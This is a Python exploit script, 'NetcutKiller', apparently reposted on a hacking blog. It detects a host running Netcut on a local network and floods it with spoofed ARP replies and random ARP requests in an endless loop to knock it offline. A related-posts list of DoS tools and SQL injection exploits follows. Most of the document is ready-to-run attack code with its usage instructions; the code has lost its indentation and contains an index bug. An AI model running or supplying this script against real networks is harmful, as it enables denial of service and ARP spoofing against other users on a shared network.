#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Blog: http://mayaseven.blogspot.com
#PoC: Video http://www.youtube.com/user/mayaseven
# Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput("ip route list | grep default").split()[2]
def protect(gw_ip,gw_mac):
os.popen("arp -s %s %s" %(gw_ip,gw_mac))
print "Protected himself"
def detect():
ans = sniff(filter='arp',timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print "Detecting..."
d = detect()
for i in range(len(d)):
if d[i].split()[0] == "255.255.255.255":
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print "There is a possibility that " + str(result) + "%"
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
if __name__ == '__main__':
os.system("clear")
print "###################################################"
print " __ __ __ __ _____ __ __ _ _"
print "| \/ | \ \ / / / ____| \ \ / / | \ | |"
print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |"
print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |"
print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |"
print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
print " "
print "###################################################"
print ""
print "http://mayaseven.blogspot.com"
print ""
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print '''Mode:
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''
New Post
Related Posts
Media Player Classic XSS / Denial Of Service
==========================================================================================MPC (Media...Read more
[TUT] HTTP Flood site HTML và 1 số site không cho connection = keep-alive
Cách dùng > thay user agent , thay host name thay Referer, thay random char > ném vào webhunte...Read more
Thử nghiệm khả năng chịu tải của Website với công cụ SlowHTTPTest
Chào các bạn, hôm nay mình sẽ giới thiệu với các bạn công cụ SlowHTTPTest, bản chất công cụ này là ...Read more
How to use SlowHTTPTest HTTP DoS Tool
Xem bài viết tiếng Việt tại đây:http://junookyo.blogspot.com/2012/10/thu-nghiem-kha-nang-chiu-tai-cu...Read more
DoSHTTP 2.5.1 (Professional Edition)
Download: http://www.socketsoft.net/products.asp?p=doshttpSerial: (Only Juno_okyo's Blog Members)Enj...Read more
Yii Framework - Search SQL Injection Vulnerability
# Exploit Title: Yii Framework - Search SQL Injection Vulnerability# Google Dork: No Dork# Date: 20/...Read more
WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting
WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site ScriptingSoftware: WP e-CommerceSoftware La...Read more
Wordpress Plugins Spotlight Your Upload Vulnerability
___________.__ _________ _________ \__ ...Read more
Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution
### This file is part of the Metasploit Framework and may be subject to# redistribution and commerci...Read more
0 nhận xét:
Post a Comment
Click to see the code!
To insert emoticon you must added at least one space before the code.